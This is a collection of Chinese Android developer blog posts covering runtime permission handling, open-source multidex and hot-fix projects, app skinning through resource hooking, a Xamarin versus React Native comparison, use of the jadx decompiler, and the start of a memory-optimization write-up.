如果这个选项在拒绝授权前被用户勾选了。下次为这个权限请求requestPermissions时,对话框就不弹出来了,结果就是,app啥都不干。
这将是很差的用户体验,用户做了操作却得不到响应。这种情况需要好好处理一下。在请求requestPermissions前,我们需要检查是否需要展示请求权限的提示通过activity的shouldShowRequestPermissionRationale,代码如下:

final private int REQUEST_CODE_ASK_PERMISSIONS = 123;
private void insertDummyContactWrapper() {
    int hasWriteContactsPermission = checkSelfPermission(Manifest.permission.WRITE_CONTACTS);
    if (hasWriteContactsPermission != PackageManager.PERMISSION_GRANTED) {
            if (!shouldShowRequestPermissionRationale(Manifest.permission.WRITE_CONTACTS)) {
                showMessageOKCancel("You need to allow access to Contacts",
                        new DialogInterface.OnClickListener() {
                            @Override
                            public void onClick(DialogInterface dialog, int which) {
                                requestPermissions(new String[] {Manifest.permission.WRITE_CONTACTS},
                                        REQUEST_CODE_ASK_PERMISSIONS);
                            }
                        });
                return;
            }
        requestPermissions(new String[] {Manifest.permission.WRITE_CONTACTS},
                REQUEST_CODE_ASK_PERMISSIONS);
        return;
    }
    insertDummyContact();
}
private void showMessageOKCancel(String message, DialogInterface.OnClickListener okListener) {
    new AlertDialog.Builder(MainActivity.this)
            .setMessage(message)
            .setPositiveButton("OK", okListener)
            .setNegativeButton("Cancel", null)
            .create()
            .show();
}

当一个权限第一次被请求和用户标记过不再提醒的时候,我们写的对话框被展示。
后一种情况,onRequestPermissionsResult 会收到PERMISSION_DENIED ,系统询问对话框不展示。

图片描述

搞定!

一次请求多个权限

当然了有时候需要好多权限,可以用上面方法一次请求多个权限。不要忘了为每个权限检查“不再提醒”的设置。
修改后的代码:

final private int REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS = 124;
private void insertDummyContactWrapper() {
    List<String> permissionsNeeded = new ArrayList<String>();
    final List<String> permissionsList = new ArrayList<String>();
    if (!addPermission(permissionsList, Manifest.permission.ACCESS_FINE_LOCATION))
        permissionsNeeded.add("GPS");
    if (!addPermission(permissionsList, Manifest.permission.READ_CONTACTS))
        permissionsNeeded.add("Read Contacts");
    if (!addPermission(permissionsList, Manifest.permission.WRITE_CONTACTS))
        permissionsNeeded.add("Write Contacts");
    if (permissionsList.size() > 0) {
        if (permissionsNeeded.size() > 0) {
            // Need Rationale
            String message = "You need to grant access to " + permissionsNeeded.get(0);
            for (int i = 1; i < permissionsNeeded.size(); i++)
                message = message + ", " + permissionsNeeded.get(i);
            showMessageOKCancel(message,
                    new DialogInterface.OnClickListener() {
                        @Override
                        public void onClick(DialogInterface dialog, int which) {
                            requestPermissions(permissionsList.toArray(new String[permissionsList.size()]),
                                    REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS);
                        }
                    });
            return;
        }
        requestPermissions(permissionsList.toArray(new String[permissionsList.size()]),
                REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS);
        return;
    }
    insertDummyContact();
}
private boolean addPermission(List<String> permissionsList, String permission) {
    if (checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED) {
        permissionsList.add(permission);
        // Check for Rationale Option
        if (!shouldShowRequestPermissionRationale(permission))
            return false;
    }
    return true;
}

如果所有权限被授权,依然回调onRequestPermissionsResult,我用hashmap让代码整洁便于阅读。

@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
    switch (requestCode) {
        case REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS:
            {
            Map<String, Integer> perms = new HashMap<String, Integer>();
            // Initial
            perms.put(Manifest.permission.ACCESS_FINE_LOCATION, PackageManager.PERMISSION_GRANTED);
            perms.put(Manifest.permission.READ_CONTACTS, PackageManager.PERMISSION_GRANTED);
            perms.put(Manifest.permission.WRITE_CONTACTS, PackageManager.PERMISSION_GRANTED);
            // Fill with results
            for (int i = 0; i < permissions.length; i++)
                perms.put(permissions[i], grantResults[i]);
            // Check for ACCESS_FINE_LOCATION
            if (perms.get(Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED&& perms.get(Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED&& perms.get(Manifest.permission.WRITE_CONTACTS) == PackageManager.PERMISSION_GRANTED) {
                // All Permissions Granted
                insertDummyContact();
            } else {
                // Permission Denied
                Toast.makeText(MainActivity.this, "Some Permission is Denied", Toast.LENGTH_SHORT)
                        .show();
            }
            }
            break;
        default:
            super.onRequestPermissionsResult(requestCode, permissions, grantResults);
    }
}

条件灵活的,你自己设置。有的情况,一个权限没有授权,就不可用;但是也有情况,能工作,但是表现的是有所限制的。对于这个我不做评价,你自己设计吧。

用兼容库使代码兼容旧版

以上代码在android 6.0以上运行没问题,但是23 api之前就不行了,因为没有那些方法。
粗暴的方法是检查版本

if (Build.VERSION.SDK_INT >= 23) {
    // Marshmallow+
} else {
    // Pre-Marshmallow
}

但是太复杂,我建议用v4兼容库,已对这个做过兼容,用这个方法代替:

  • ContextCompat.checkSelfPermission()

被授权函数返回PERMISSION GRANTED,否则返回PERMISSIONDENIED ,在所有版本都是如此。

  • ActivityCompat.requestPermissions()
    这个方法在M之前版本调用,OnRequestPermissionsResultCallback 直接被调用,带着正确的 PERMISSION GRANTED或者 PERMISSIONDENIED 。

  • ActivityCompat.shouldShowRequestPermissionRationale()
    在M之前版本调用,永远返回false。

用v4包的这三方法,完美兼容所有版本!这个方法需要额外的参数,Context or Activity。别的就没啥特别的了。下面是代码:

private void insertDummyContactWrapper() {
    int hasWriteContactsPermission = ContextCompat.checkSelfPermission(MainActivity.this,
            Manifest.permission.WRITE_CONTACTS);
    if (hasWriteContactsPermission != PackageManager.PERMISSION_GRANTED) {
        if (!ActivityCompat.shouldShowRequestPermissionRationale(MainActivity.this,
                Manifest.permission.WRITE_CONTACTS)) {
            showMessageOKCancel("You need to allow access to Contacts",
                    new DialogInterface.OnClickListener() {
                        @Override
                        public void onClick(DialogInterface dialog, int which) {
                            ActivityCompat.requestPermissions(MainActivity.this,
                                    new String[] {Manifest.permission.WRITE_CONTACTS},
                                    REQUEST_CODE_ASK_PERMISSIONS);
                        }
                    });
            return;
        }
        ActivityCompat.requestPermissions(MainActivity.this,
                new String[] {Manifest.permission.WRITE_CONTACTS},
                REQUEST_CODE_ASK_PERMISSIONS);
        return;
    }
    insertDummyContact();
}

后两个方法,我们也可以在Fragment中使用,用v13兼容包:FragmentCompat.requestPermissions() and FragmentCompat.shouldShowRequestPermissionRationale().和activity效果一样。

第三方库简化代码

以上代码真复杂。为解决这事,有许多第三方库已经问世了,真有速度!我试了很多最终找到了个满意的hotchemi’s PermissionsDispatcher。
他和我上面做的一样,只是简化了代码。灵活易扩展,试一下吧。如果不满足你可以找些其他的。

如果我的app还开着呢,权限被撤销了,会发生什么

权限随时可以被撤销。

图片描述

当app开着的时候被撤消了会发生什么呢?我试过了发现这时app会突然终止 terminated。app中的一切都被简单粗暴的停止了,因为terminated!对我来说这可以理解,因为系统如果允许它继续运行(没有某权限),这会召唤弗雷迪到我的噩梦里。或许更糟…

结论建议

我相信你对新权限模型已经有了清晰的认识。我相信你也意识到了问题的严峻。
但是我们没得选择。新运行时权限已经在棉花糖中被使用了。我们没有退路。我们现在唯一能做的就是保证app适配新权限模型.
欣慰的是只有少数权限需要运行时权限模型。大多数常用的权限,例如,网络访问,属于Normal Permission 在安装时自动会授权,当然你要声明,以后无需检查。因此,只有少部分代码你需要修改。

两个建议:

  1. 严肃对待新权限模型

  2. 如果你代码没支持新权限,不要设置targetSdkVersion 23 。尤其是当你在Studio新建工程时,不要忘了修改!

说一下代码修改。这是大事,如果代码结构被设计的不够好,你需要一些很蛋疼的重构。每个app都要被修正。如上所说,我们没的选择。。。
列出所有你需要请求的权限所有情形,如果A被授权,B被拒绝,会发生什么。blah,blah。

祝重构顺利。把它列为你需要做的大事,从现在就开始着手做,以保证M正式发布的时候没有问题。

希望本文对你有用,祝你好运。。。

分享两个 Android 开源项目和一个 Doc

$
0
0

这是首发在我维护的微信公众号 codeKK上的文章,欢迎大家关注。

1. Android 傻瓜式分包插件

GitHub:https://github.com/TangXiaoLv/Android-Easy-MultiDex
这是一个可自定义哪些类放在 MainDex 中的插件。
ReadMe 中详细介绍了在使用 MultiDex 时,为了解决 MainDex 方法数超标的问题,碰到的一个个坑及如何解决,并列出了详细的参考资料,一篇很不错的文章。

 

2. Tinker_imitator

GitHub:https://github.com/zzz40500/Tinker_imitator
微信热修复方案的三方实践。这个项目还有不少待完善地方,有兴趣的可以加入一起完善,加入信息位于项目 ReadMe。

 

微信官方之前分享了他们通过全量替换新的 Dex 实现的热修复方案 Tinker,相比于其他热修复方案可以支持类、资源、Lib 级别的替换,性能损耗和补丁包都较小,官方还在走开源的审查流程。

 

这样目前主流的四种热修复方案都有了开源项目:
AndFix:https://github.com/alibaba/AndFix
Dexposed:https://github.com/alibaba/dexposed
QZone 方案三方实现:https://github.com/jasonross/Nuwa
微信方案三方实现:https://github.com/zzz40500/Tinker_imitator

 

3. 2015/2016 年国外 Android 会议部分资料整理

https://docs.google.com/spreadsheets/d/1e81FPcfaFukK-EvRaQb3l9ZE9IqUWaueiujZOT6lt5g/edit#gid=0
部分截图如下:

这是网友@TomeOkin 推荐到 http://r.codekk.com 的,欢迎大家推荐不错的内容。

 

关注微信公众号 codeKK

扫描下面二维码关注我们
codeKK

Android换肤技术总结

$
0
0

原文出处:
http://blog.zhaiyifan.cn/2015/09/10/Android%E6%8D%A2%E8%82%A4%E6%8A%80%E6%9C%AF%E6%80%BB%E7%BB%93/

背景

纵观现在各种Android app,其换肤需求可以归为

  • 白天/黑夜主题切换(或者别的名字,通常2套),如同花顺/自选股/天天动听等,UI表现为一个switcher。

  • 多种主题切换,通常为会员特权,如QQ/QQ空间。

对于第一种来说,目测应该是直接通过本地theme来做的,即所有图片/颜色的资源都在apk里面打包了。
而对于第二种,则相对复杂一些,由于作为一种线上服务,可能上架新皮肤,且那么多皮肤包放在apk里面实在太占体积了,所以皮肤资源会在选择后再进行下载,也就不能直接使用android的那套theme。

技术方案

内部资源加载方案和动态下载资源下载两种。
动态下载可以称为一种黑科技了,因为往往需要hack系统的一些方法,所以在部分机型和新的API上有时候可能有坑,但相对好处则很多

  • 图片/色值等资源由于是后台下发的,可以随时更新

  • APK体积减小

  • 对应用开发者来说,换肤几乎是透明的,不需要关心有几套皮肤

  • 可以作为增值服务卖钱!!

内部资源加载方案

内部资源加载都是通过android本身那套theme来做的,相对业务开发来说工作量更大(需要定义attr和theme),不同方案类似地都是在BaseActivity里面做setTheme,差别主要在解决以下2个问题的策略:

  • setTheme后如何实时刷新,而不用重新创建页面(尤其是listview里面的item)。

  • 哪些view需要刷新,刷新什么(背景?字体颜色?ImageView的src?)。

自定义view

MultipleTheme
做自定义view是为了在setTheme后会去立即刷新,更新页面UI对应资源(如TextView替换背景图和文字颜色),在上述项目中,则是通过对rootView进行遍历,对所有实现了ColorUiInterface的view/viewgroup进行setTheme操作来实现即使刷新的。
显然这样太重了,需要把应用内的各种view/viewgroup进行替换。
手动绑定view和要改变的资源类型

Colorful
这个…我们看看用法吧…

ViewGroupSetter listViewSetter = new ViewGroupSetter(mNewsListView);
// 绑定ListView的Item View中的news_title视图,在换肤时修改它的text_color属性
listViewSetter.childViewTextColor(R.id.news_title, R.attr.text_color);

// 构建Colorful对象来绑定View与属性的对象关系
mColorful = new Colorful.Builder(this)
        .backgroundDrawable(R.id.root_view, R.attr.root_view_bg)
        // 设置view的背景图片
        .backgroundColor(R.id.change_btn, R.attr.btn_bg)
        // 设置背景色
        .textColor(R.id.textview, R.attr.text_color)
        .setter(listViewSetter) // 手动设置setter
        .create(); // 设置文本颜色

我就是想换个皮肤,还得在activity里自己去设置要改变哪个view的什么属性,对应哪个attribute?是不是成本太高了?而且activity的逻辑也很容易被弄得乱七八糟。

动态资源加载方案

resource替换

开源项目可参照 Android-Skin-Loader
即覆盖application的getResource方法,优先加载本地皮肤包文件夹下的资源包,对于性能问题,可以通过attribute或者资源名称规范(如需要换肤则用skin_开头)来优化,从而不对不换肤的资源进行额外开销。
可以重点关注该项目中的SkinInflaterFactory和SkinManager(实现了自己的getColor、getDrawable方法)。
不过由于Android 5.1源码里,getDrawable方法的实现被修改了,所以会导致无法跟肤的问题(其实是loadDrawable被修改了,连参数都改了,类似的内部API大改在5.1上还很多)。
4.4的源码中Resources.java:

public Drawable getDrawable(int id) throws NotFoundException {
    TypedValue value;
    synchronized (mAccessLock) {
        value = mTmpValue;
        if (value == null) {
            value = new TypedValue();
        } else {
            mTmpValue = null;
        }
        getValue(id, value, true);
    }
    // 实际资源通过loadDrawable方法加载
    Drawable res = loadDrawable(value, id);
    synchronized (mAccessLock) {
        if (mTmpValue == null) {
            mTmpValue = value;
        }
    }
    return res;
}

// loadDrawable会去preload的LongSparseArray里面查找
/*package*/ Drawable loadDrawable(TypedValue value, int id)
        throws NotFoundException {

    if (TRACE_FOR_PRELOAD) {
        // Log only framework resources
        if ((id >>> 24) == 0x1) {
            final String name = getResourceName(id);
            if (name != null) android.util.Log.d("PreloadDrawable", name);
        }
    }

    boolean isColorDrawable = false;
    if (value.type >= TypedValue.TYPE_FIRST_COLOR_INT &&
            value.type <= TypedValue.TYPE_LAST_COLOR_INT) {
        isColorDrawable = true;
    }
    final long key = isColorDrawable ? value.data :
            (((long) value.assetCookie) << 32) | value.data;

    Drawable dr = getCachedDrawable(isColorDrawable ? mColorDrawableCache : mDrawableCache, key);

    if (dr != null) {
        return dr;
    }
    ...
    ...
    return dr;
}

而5.1代码里Resources.java:

// 可以看到,方法参数里面加上了Theme
public Drawable getDrawable(int id, @Nullable Theme theme) throws NotFoundException {
    TypedValue value;
    synchronized (mAccessLock) {
        value = mTmpValue;
        if (value == null) {
            value = new TypedValue();
        } else {
            mTmpValue = null;
        }
        getValue(id, value, true);
    }
    final Drawable res = loadDrawable(value, id, theme);
    synchronized (mAccessLock) {
        if (mTmpValue == null) {
            mTmpValue = value;
        }
    }
    return res;
}

/*package*/ Drawable loadDrawable(TypedValue value, int id, Theme theme) throws NotFoundException {
    if (TRACE_FOR_PRELOAD) {
        // Log only framework resources
        if ((id >>> 24) == 0x1) {
            final String name = getResourceName(id);
            if (name != null) {
                Log.d("PreloadDrawable", name);
            }
        }
    }

    final boolean isColorDrawable;
    final ArrayMap<String, LongSparseArray<WeakReference<ConstantState>>> caches;
    final long key;
    if (value.type >= TypedValue.TYPE_FIRST_COLOR_INT&& value.type <= TypedValue.TYPE_LAST_COLOR_INT) {
        isColorDrawable = true;
        caches = mColorDrawableCache;
        key = value.data;
    } else {
        isColorDrawable = false;
        caches = mDrawableCache;
        key = (((long) value.assetCookie) << 32) | value.data;
    }

    // First, check whether we have a cached version of this drawable
    // that was inflated against the specified theme.
    if (!mPreloading) {
        final Drawable cachedDrawable = getCachedDrawable(caches, key, theme);
        if (cachedDrawable != null) {
            return cachedDrawable;
        }
    }

方法名字都改了

Hack Resources internally

黑科技方法,直接对Resources进行hack,Resources.java:

// Information about preloaded resources.  Note that they are not
// protected by a lock, because while preloading in zygote we are all
// single-threaded, and after that these are immutable.
private static final LongSparseArray<Drawable.ConstantState>[] sPreloadedDrawables;
private static final LongSparseArray<Drawable.ConstantState> sPreloadedColorDrawables
        = new LongSparseArray<Drawable.ConstantState>();
private static final LongSparseArray<ColorStateList> sPreloadedColorStateLists
        = new LongSparseArray<ColorStateList>();

直接对Resources里面的这三个LongSparseArray进行替换,由于apk运行时的资源都是从这三个数组里面加载的,所以只要采用interceptor模式:

public class DrawablePreloadInterceptor extends LongSparseArray<Drawable.ConstantState>

自己实现一个LongSparseArray,并通过反射set回去,就能实现换肤,具体getDrawable等方法里是怎么取preload数组的,可以自己看 Resources的源码。

等等,就这么简单?,NONO,少年你太天真了,怎么去加载xml,9patch的padding怎么更新,怎么打包/加载自定义的皮肤包,drawable的状态怎么刷新,等等。这些都是你需要考虑的,在存在插件的app中,还需要考虑是否会互相覆盖resource id的问题,进而需要修改apt,把resource id按位放在2个range。
手Q和独立版QQ空间使用的是这种方案,效果挺好。

总结

尽管动态加载方案比较黑科技,可能因为系统API的更改而出问题,但相对来所
好处有

  • 灵活性高,后台可以随时更新皮肤包

  • 相对透明,开发者几乎不用关心有几套皮肤,不用去定义各种theme和attr,甚至连皮肤包的打包都- - 可以交给设计或者专门的同学

  • apk体积节省
    存在的问题

  • 没有完善的开源项目,如果我们采用动态加载的第二种方案,需要的项目功能包括:

  • 自定义皮肤包结构

  • 换肤引擎,加载皮肤包资源并load,实时刷新。

  • 皮肤包打包工具

  • 对各种rom的兼容

如果有这么一个项目的话,就一劳永逸了,有兴趣的同学可以联系一下,大家一起搞一搞。

内部加载方案大同小异,主要解决的都是即时刷新的问题,然而从目前的一些开源项目来看,仍然没有特别简便的方案。让我选的话,我宁愿让界面重新创建,比如重启activity,或者remove所有view再添加回来。

浅谈移动应用的跨平台开发工具(Xamarin和React Native)

$
0
0

谈移动应用的跨平台开发不能不提HTML5,PhoneGap和Sencha等平台一直致力于使用HTML5技术来开发跨平台的移动应用,现在看来这个方向基本算是失败的,基于HTML5的移动应用在用户体验上与原生应用仍然存在着明显的差距。

与上述HTML5平台不同,Xamarin和React Native通过各自的方式来实现跨平台。Xamarin基于Mono框架将C#代码编译为原生平台代码,React Native则是在UI主线程之外运行一个JavaScript线程,两者呈现给用户的都是原生体验。

2in1

笔者恰巧两个平台都各使用过一段时间,在这里就抛砖引玉,分享一下个人观点。对于资源有限的创业团队,如果熟悉JavaScript,使用React Native再加上React,Redux等技术可以实现移动端、Web端、和Service端整套系统的开发,还可以重用一部分代码(比如Reducer和Action中的业务逻辑,以及通用的JavaScript组件代码),React Native也非常适合快速原型的开发。对于实力相对雄厚的大中型公司,如果已经在使用Microsoft的.Net技术,并且拥有成体系的系统架构,那么Xamarin或许是一个更好的选择,架构设计得好的话在代码重用方面并不逊于React Native。

下面从几个方面说一说两者各自的优缺点:

  • 从编程语言的角度来说,C#和JavaScript都是成熟的主流编程语言,都有丰富的第三方库和强大的社区支持。两种语言都能够实现从前端一直到后端的整套方案。
  • 从开发工具的角度来说,Xamarin Studio的表现只能说刚刚及格,有种和Xamarin整个产品线不在一个水平的感觉,特别是重构和界面可视化编辑等方面还有很大的改善空间,并且在版本升级中经常会引入新的BUG,让笔者多少有点患上了升级恐惧症。React Native本身没有IDE,开发人员可以选择自己熟悉的JavaScript IDE,比如:IntelliJ等。
  • 从第三方库的角度来说,Xamarin的第三方库给人一种不多不少、刚好够用的感觉。在IDE中集成了Xamarin Component Store以后,第三方库的数量质量都有了提升,开发人员使用起来也非常方便。如果遇到特殊情况需要自己开发或者绑定(binding)原生代码库时可能会比较麻烦一些。React Native则完全依赖于JavaScript社区,NPM和GitHub,在需要自行开发和桥接(bridging)原生代码库时个人觉得比Xamarin容易一些。
  • 价格方面,Xamarin有免费版本,但在应用包尺寸上有限制。对于企业级开发最好还是选择它的Enterprise License,虽然价格不菲,但是可以获得技术支持和使用平台的其他产品(如:Xamarin.Forms和Xamarin Test Cloud)。React Native则是完全免费的。
  • 至于学习难度,很多人对JavaScript缺乏信心,觉得这门语言很难掌握和用好,而C#和Java则相对容易安全得多。这里笔者推荐图灵的 《你不知道的JavaScript》系列,看过之后也许能够改变这一看法。除了JavaScript语言,React Native还需要掌握Facebook的React框架,它是React Native的核心。Xamarin要求掌握C#以及iOS和Android开发的相关知识,虽然使用React Native并不一定要求会iOS和Android开发,但是对于移动应用开发者来说,无论使用什么工具、怎样跨平台,了解各个平台的架构设计还是非常必要的。

下面是对两者各方面的一个总结:

不足和纰漏之处还望各位不吝赐教,欢迎交流讨论。


欢迎关注CoolShell微信公众账号

(转载本站文章请注明作者和出处 酷 壳 – CoolShell.cn,请勿用于任何商业用途)

——=== 访问 酷壳404页面寻找遗失儿童。 ===——

Android 反编译利器,jadx 的高级技巧

$
0
0

一、前言

今天介绍一个非常好用的反编译的工具 jadx 。jadx 的功能非常的强大,对我而言,基本上满足日常反编译需求。

jadx 优点:

  1. 图形化的界面。
  2. 拖拽式的操作。
  3. 反编译输出 Java 代码。
  4. 导出 Gradle 工程。

这些优点都让 jadx 成为我反编译的第一选择,它可以处理大部分反编译的需求,基本上是我反编译工具的首选。

接下来我们就来看看,jadx 如何使用吧。

二、使用 jadx

2.1 安装 jadx

jadx 本身就是一个开源项目,源代码已经在 Github 上开源了。

Jadx Github :

https://github.com/skylot/jadx

有兴趣可以直接 clone 源代码,然后本地自己编译。但是多数情况下,我们是需要一个编译好的版本。编译好的版本,可以在 sourceforge 上下载到。

sourceforge 下载 jadx。

https://sourceforge.net/proje...

直接下载最新版就可以了,现在的最新版是 jadx-0.6.1 。下载好解压之后,你会获得这样的目录结构:

jadx-path

对于 Mac 或者 Linux,使用 jadx-gui ,Windows 下就需要使用 jadx-gui.bat 了,双击可以直接运行,如果有安全警告,忽略它就可以了。(后文主要以 Mac 环境为讲解,Windows 下的大部分操作都是类似的)

2.2 使用 jadx

前面提到,直接双击 jadx-gui 就可以直接运行。运行之后,会启动一个 terminal ,在这里你可以看到你所有操作的输出,错误日志也会输出在这里。

打开之后,你可以选择一个 apk、dex、jar、zip、class、aar 文件,可以看到 jadx 支持的格式还是挺多的,基本上编译成 Java 虚拟机能识别的字节码,它都可以进行反编译。除了选择一个文件,还可以直接将 apk 文件,拖拽进去,这一点非常好用。

我随便找了一个手边的 Apk ,丢进去,看看反编译后的效果。

jadx-run

这里面就是反编译后的代码了,对于 apk 而言,一些 xml 的资源,也一并被反编译还原回来了,非常的方便。

三、jadx 的优点

jadx 使用起来非常的方便,而提供的 gui 程序,也很好用。下面开始介绍 jadx-gui 程序的一些好用的技巧。

3.1 强大的搜索功能

jadx 提供的搜索功能,非常强大,而且搜索速度也不慢。

你可以点击 Navigation -> Text Search 或者 Navigation -> Class Search 激活它,更方便的还是快捷键,我本机的快捷键是 control + shift + f,这个就因人而异了。

text-search

jadx 的搜索,支持四种维度,Class、Method、Field、Code,我们可以根据我们搜索的内容进行勾选,范围最大的就是 Code ,基本上就是文本匹配搜索。这里反编译的 Apk 集成了支付宝支付,所以能搜到 alipay 的内容。

3.2 直接搜索到引用的代码

有时候找到关键代码了,还想看看在哪些地方调用或者引用了它。

jadx 也提供了这方面的支持,找到我们需要查看的类或者方法,选中点击右键,选择 Find Usage。

find-Usage

之后,它就会帮你搜索出,在这个项目中,哪些地方引用了它。

usage-search

点击就可以直接跳转过去,非常的方便。

3.3 deobfuscation

一般 Apk 在发布出去之前,都是会被混淆的,这基本上国内 App 的标配。这样一个类,最终会被混淆成 a.b.c ,方法也会变成 a.b.c.a() ,这样其实非常不利于我们阅读。我们很难看到一个 a.java 的文件,就确定它是哪一个,还需要根据包名来区分。

而 deobfusation 功能,可以为它们其一个特殊的名字,这样它在这个项目中,名字就唯一了,方便我们识别和搜索。

这个功能可以在 Tools -> deobfusation 中激活。

接下来来看看它的效果。

deo-before

开启 deobfusation 之后的效果如下:

deo-after

可以看到,a 变成了 p003a。不知道这样看你觉得有方便一些吗?

3.4 一键导出 Gradle 工程

虽然,jadx-gui 可以直接阅读代码,还是很方便的。但是毕竟没有我们常见的编辑器来的方便。而正好 jadx 还支持将反编译后的项目,直接导出成一个 Gradle 编译的工程。

可以通过 File -> Save as gradle project 来激活这个功能。

save-gradle

最终输出的目录,是可以直接通过 Android Studio 打开的。

gradle-project

不过虽然 AS 可以直接打开它,但是大多数情况下你是编译不起来的。但是这样的功能,主要是为了借助 AS 强大的 IDE 功能,例如方法跳转、引用搜索等等,让我们阅读起来更方便。

四、jadx 的错误处理

jadx 在使用过程中,也会有一些错误情况,这里总结一些比较常见的错误。

4.1 inconsistent code

有时候有代码,反编译的不完整,你会看到 JADX WARNING : inconsistent code 标志的错误。

incon-before

这一段代码,就已经不是 Java 的代码了,不利于我们的阅读。而 jadx 为了应对这样的情况,可以尝试开启 Show inconsistent code 开关。你可以在 File -> Preferences 中找到它。

show-pre

开启 inconsistent code 之后,我们再来看看这段代码,就感觉亲切了。

code2

这样处理的代码,大部分为伪代码,可能会有错误的地方,具体问题具体分析吧。

Preferences 中,还有很多开关,有兴趣的可以自行摸索一下。

4.2 反编译错误或者卡顿

jadx 反编译一些小的 Apk,一点压力都没有,但是对于一些比较重的 Apk,一般 Apk 大于 50MB 的,你都可能遇到使用 jadx 反编译的时候卡死的问题。

如果你看了 terminal 中 Log 输出,你应该可以发现,实际上它是因为 OOM 引起的。

oom

官方对于这样因为内存不足引发的问题,也提供了一些解决方案。

1、减少处理的线程数。

jadx 为了加快编译的效率,所以是使用多线程处理的,而多个线程会耗费跟多的内存。所以减小反编译时候的线程数,是一个有效的方法。

如果使用命令行的话,可以使用 -j 1参数,配置线程数为 1,不配置的话,默认线程数为 4。

而使用 jadx-gui 的话,可以在 Preferences 中,通过配置 Processing threads count 来配置线程数。

2、修改 jadx 脚本

直接编辑 ./bin 目录下的 jadx 脚本,配置找到 DEFAULT_JVM_OPTS ,将它设置为 DEFAULT_JVM_OPTS="-Xmx2500M",就可以配置当前使用的内存大小。

如果是 Windows 系统,你需要编辑 jadx.bat 文件。

3、使用命令行命令

如果以上方式都不好用,在没有更好的办法的情况下,你可以直接使用命令行,通过 jadx 的命令进行放编译。并将线程数配置为 1 ,这样虽然慢一些,但是多数情况下,是可以正常输出反编译后的代码的。

举个例子:

jadx -d out -j 1 classes.dex

更过命令,可以通过 jadx -h命令进行查看。

jadx-help

仔细看看 jadx 命令配置的参数,基本上都可以在 Preferences 中,找到对应的配置项,相互对照理解一下,应该不难发现它的使用方式。

五、总结

jadx 确实非常的好用,到这里基本上已经把它的使用,都讲解清楚了。

你在反编译的过程中,使用 jadx 有没有碰到什么问题?还有什么更好的工具推荐,可以在留言区给我留言,我们一起讨论一下。

今天在 承香墨影公众号的后台,回复『 成长』。我会送你一些我整理的学习资料,包含:Android反编译、算法、设计模式、kotlin、虚拟机、Linux、Web项目源码。

推荐阅读:


Android 内存暴减的秘密?!

$
0
0

作者:杨超,腾讯移动客户端开发 工程师
商业转载请联系腾讯WeTest获得授权,非商业转载请注明出处。
原文链接: http://wetest.qq.com/lab/view/362.html


WeTest 导读

我这样减少了26.5M Java内存!一文中内存优化一期已经告一段落,主要做的事情是,造了几个分析内存问题的轮子,定位进程各种类型内存占用情况,分析了线程创建OOM的原因。当然最重要的是,优化了一波进程静息态的内存占用(减少26M+)。而二期则是在一期的基础之上,推进已发现问题的SDK解决问题,最终要的是要优化进程的动态Java内存占用!

通常来说不管是做什么性能优化,逃不出性能优化3步曲:

  1. 找到性能瓶颈
  2. 分析优化方案
  3. 执行优化

上述三步看似第三步最能决定优化结果,而事实上,从笔者的几次性能优化经历来看,找到瓶颈确占据了绝对的影响力!

● 能否找到瓶颈意味着优化做不做的下去。

● 找到的瓶颈性能越差意味着优化效果越明显。

● 找到的瓶颈越多同样意味着优化效果越好。


一、如何找瓶颈所在

在分析方法上,主要:

● 分析代码逻辑,检查有问题的逻辑,对其进行相关优化。

● 模拟用户操作 在内存占用较高的时候dump内存,使用MAT分析

● 然后是分析HeapDump的方法

  1. 看 DominatorTree,确定占用内存最多的实例
  2. 通过 GC root辅助分析内存占用的来源
  3. 通过 RetainHeapSize 量化的分析内存占用

动态内存优化比静态要更难,其难点在于动态二字之上。动态不仅是的查找瓶颈变得困难,也使得对比优化成果不显而易见。而不同的环境、操作路径、设备、使用习惯等各个因素都有可能导致内存占用的不同。可能的情况是:找到的性能瓶颈和用户实际操作的方式不同,导致不能解决外网的OOM。因此直接获取手机用户的真实数据则是最行之有效的一种方式。

因此辅助采取了另一种方式, 收集真实的用户数据。

● 在手机发生OOM的时候dump内存,上传到后台,以便后续分析

措施1:可以优化现有代码逻辑,针对内存占用过多/不合理的场景进行优化。这是主场景。

措施2:主要分析外网用户的使用习惯下,发生OOM的场景。比较容易发现bug类问题导致瞬间内存占用过多的场景。

二、找到哪些瓶颈

找到的瓶颈问题很多,稍微按照分类梳理一下:

1. 加载进内存,实际上没用到(还没用到)的数据

1)PullToRefreshListView 的 Loading 和 Empty View lazyLoad,这是下拉刷新的组件,其下拉刷新有一个帧动画,图片较多,占用较多内存。

2)Minibar PlayListView。每个页面都会有一个Minibar,但是不一定Minibar都会打开播放列表。

3)AsyncImageView 的 默认图和失败图以Drawble的形式直接加载进内存的。

2、 UI 相关数据,未及时释放

1)24 小时直播间数据,只在节目切换的时候才有用

2)弹幕,只在播放页展示弹幕的时候才有用

3)播放页 TransitionBackgroundManager 大图内存占用问题 。这个一个大图,为了做渐变动画。

3、数据结构不合理,占用内存过多

1)播放历史最多记录600个节目信息,每一个ShowInfo占用内存多达22K(通过MAT查看RetainHeap)

2)下载管理会在内存中存储用户下载的 节目信息,歌词,专辑信息,分别占用内存 12K, 0-10K, 12K。并且这里没有数量限制。

4、 图片占用内存过多

1)在应用主页操作一下,发现图片(Bitmap)占用的内存很多

2)高斯模糊图片。

5、 bug类导致内存占用过多

播放历史应为代码逻辑bug,导致没有控制记录数量上限。于是用户听的节目越多内存占用就越大。这里的问题主要通过OOM上报发现,占用内存最多的一次上报,仅播放历史记录就占内存50M之多。

上述 1-4 点通过措施1主动检查内存发现。而第5点则是在分析了OOM上报“意外”发现的,如果是通过措施1的方式,几乎不可能知道这么多OOM竟然是因为这个问题引起的。

三、怎么优化瓶颈

找到问题之后,剩下的就是比较好做的了,只需顺藤摸瓜,各个击破!

1、懒加载 (LazyLoad)

针对上面的1.1, 1.2, 都可以做LazyLoad,真正需要下拉刷新/展示播放列表的时候再创建相关实例。

1.4 则可以在动画结束之后清理掉相关Bitmap

